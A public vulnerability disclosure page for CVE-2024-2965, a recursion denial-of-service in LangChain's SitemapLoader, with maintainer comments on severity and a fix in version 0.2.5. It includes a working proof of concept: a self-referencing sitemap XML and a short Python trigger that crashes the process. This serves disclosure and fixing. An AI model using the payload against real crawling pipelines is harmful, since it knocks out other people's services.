

# Denial-of-Service in LangChain SitemapLoader in [langchain-ai/langchain](#)

✓ Valid

Reported on Mar 21st 2024

## Environment

Ubuntu 20.04.6 LTS Nginx/1.25.2 Python 3.11.0

## Description

The `SitemapLoader` class features a method named `parse_sitemap`, dedicated to parsing sitemaps and extracting URLs from them. Sitemap files may include URLs leading to additional sitemaps, and this method is equipped to traverse and recursively parse these secondary sitemaps. However, it lacks a mechanism to prevent infinite recursion by verifying whether the URL refers to the current sitemap itself. As a result, there's a possibility of falling into an infinite loop.

## Problem code

```
class SitemapLoader(WebBaseLoader):
    def parse_sitemap(self, soup: Any) -> List[dict]:
        for sitemap in soup.find_all("sitemap"):
            loc = sitemap.find("loc")
            if not loc:
                continue
            soup_child = self.scrape_all([loc.text], "xml")[0]
            els.extend(self.parse_sitemap(soup_child)) # recursion
```

## Proof of Concept

infinite-loop.xml

```
<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>http://10.3.228.5:8080/infinite-loop.xml</loc>
    <lastmod>2024-03-04T00:00:00+00:00</lastmod>
  </sitemap>
</sitemapindex>
```

```
from langchain_community.document_loaders.sitemap import SitemapLoader
sitemap_loader = SitemapLoader(web_path="http://10.3.228.5:8080/infinite-loop.xml")

docs = sitemap_loader.load()
# Crash
```

[illegible]

```
if (sock.family in {socket.AF_INET, socket.AF_INET6} and
```

```
^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/socket.py", line 518, in fa
```

```
    return _intenum_converter(super().family, AddressFamily)
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/socket.py", line 105, in _i
```

```
    return enum_klass(value)
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/enum.py", line 695, in __ca
```

```
    return cls.__new__(cls, value)
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/enum.py", line 1084, in __n
```

```
    return cls._value2member_map_[value]
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

RecursionError: maximum recursion depth exceeded while calling a Python object

During handling of the above exception, another exception occurred:

Traceback (most recent call last):

```
File "/home/yan/LLM_Hunting/langchain_instance/sitemap_poc.py", line 15, in <modu
```

```
    docs = sitemap_loader.load()
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/langchain_cor
```

```
    return list(self.lazy_load())
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/langchain_cor
```

```
    els = self.parse_sitemap(soup)
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/langchain_cor
```

```
    els.extend(self.parse_sitemap(soup_child))
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/langchain_cor
```

```
    els.extend(self.parse_sitemap(soup_child))
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/langchain_cor
```

```
    els.extend(self.parse_sitemap(soup_child))
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
[Previous line repeated 965 more times]
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/langchain_cor
```

```
    soup_child = self.scrape_all([loc.text], "xml")[0]
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/langchain_cor
```

```
    results = asyncio.run(self.fetch_all(urls))
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/asyncio/runners.py", line 1
```

```
    return runner.run(main)
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/asyncio/runners.py", line 1
```

```
    return self._loop.run_until_complete(task)
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/asyncio/base_events.py", li
```

```
    return future.result()
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/langchain_cor
```

```
    return await tqdm_asyncio.gather(
```

```
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

```
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/tqdm/asyncio.
```

```
res = [await f for f in cls.as_completed(ifs, loop=loop, timeout=timeout,  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/tqdm/asyncio.  
res = [await f for f in cls.as_completed(ifs, loop=loop, timeout=timeout,  
^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/asyncio/tasks.py", line 605  
return f.result() # May raise f.exception().  
^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/tqdm/asyncio.  
return i, await f  
^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/site-packages/langchain_com  
logger.exception(  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
self.error(msg, *args, exc_info=exc_info, **kwargs)  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
self._log(ERROR, msg, args, **kwargs)  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
self.handle(record)  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
self.callHandlers(record)  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
lastResort.handle(record)  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
self.emit(record)  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
msg = self.format(record)  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
return fmt.format(record)  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
record.exc_text = self.formatException(record.exc_info)  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/logging/__init__.py", line  
traceback.print_exception(ei[0], ei[1], tb, None, sio)  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/traceback.py", line 124, in  
te = TracebackException(type(value), value, tb, limit=limit, compact=True)  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/traceback.py", line 688, in  
self.stack = StackSummary._extract_from_extended_frame_gen(  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/traceback.py", line 436, in  
f.line  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/traceback.py", line 321, in  
self._line = linecache.getline(self.filename, self.lineno)  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/linecache.py", line 30, in  
lines = getlines(filename, module_globals)  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/linecache.py", line 46, in  
return updatecache(filename, module_globals)  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
File "/home/yan/.pyenv/versions/3.11.0/lib/python3.11/linecache.py", line 86, in  
if len(cache[filename]) != 1:  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

RecursionError: maximum recursion depth exceeded while calling a Python object  
Fetching pages: 0%|

## Impact

The vulnerability is capable of call system network requests through python to reach the maximum depth of python, occupy server socket/port resources, and crash the python process.

⚙️ We are processing your report and will contact the **langchain-ai/langchain** team within 24 hours. 2 years ago

✎️ **huntr-helper** modified the Severity from Critical (9.8) to High (7.5) 2 years ago

✉️ We have contacted a member of the **langchain-ai/langchain** team and are waiting to hear back 2 years ago

✉️ We have sent a follow up to the **langchain-ai/langchain** team. We will try again in 4 days. 2 years ago

✎️ A **langchain-ai/langchain** maintainer modified the CWE from Uncontrolled Resource Consumption to Uncontrolled Resource Consumption 2 years ago

👁️ A **langchain-ai/langchain** maintainer has acknowledged this report 2 years ago

✎️ The scheduled publication date was automatically extended from 6th May 2024 to 13th May 2024 due to the maintainers acknowledgement of the report 2 years ago

✎️ A **langchain-ai/langchain** maintainer modified the Severity from High (7.5) to Medium (5.1) 2 years ago

✎️ A **langchain-ai/langchain** maintainer modified the Severity from Medium (5.1) to Medium (4.2) 2 years ago

A **langchain-ai/langchain** maintainer commented 2 years ago

Maintainer

I downgraded the attack to a medium score. The site map loader is not usually exposed via an endpoint to an attacker, instead it's used in an indexing pipeline. While the information is downloaded over the network, the attacker itself usually cannot trigger it over the network (unless its exposed as an endpoint).

So for this attack to be realistic it'll need to rely on either:

- The developer exposing access to this code via the network OR
- The attacker know which URIs are crawled by the server and has enough privileges to modify the content in those URIs

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✓ A **langchain-ai/langchain** maintainer validated this vulnerability 2 years ago

\$ **dxan29a** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

👤 CVE-2024-2965 assigned to this report. 2 years ago

⚠️ We have sent a warning to the **langchain-ai/langchain** team to inform them that this report will be published in 48 hours 2 years ago

📡 This vulnerability has now been published 2 years ago

Alan An commented 2 years ago

Researcher

Hi, I don't see CVE-2024-2965 published in the CVE org or NVD. Is this normal? Can I disclose this vulnerability information on social media?

👤 CVE-2024-2965 has now been published 2 years ago

Eugene Yurtsev commented 2 years ago

Maintainer

This CVE was published against the wrong package. It's should not be associated with langchain, but with langchain-community.

✓ Eugene Yurtsev marked this as fixed in **0.2.5** with commit **73c423** 2 years ago

\$ Eugene Yurtsev has been awarded the fix bounty ✓

[Sign in](#) to join this conversation

CVE

CVE-2024-2965

Published

Vulnerability Type

CWE-674: Uncontrolled Recursion

Severity

Medium (4.2)

|                     |           |
|---------------------|-----------|
| Attack vector       | Physical  |
| Attack complexity   | High      |
| Privileges required | None      |
| User interaction    | None      |
| Scope               | Unchanged |
| Confidentiality     | None      |
| Integrity           | None      |
| Availability        | High      |

[Open in visual CVSS calculator](#) 

Registry  
Pypi

Affected Version  
All version

Visibility  
Public

Status  
Fixed

Disclosure Bounty  
\$125

Fix Bounty  
\$31.25

Found by



Alan An

@dxan29a

UNPROVEN



Fixed by



Eugene Yurtsev

@eyurtsev

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

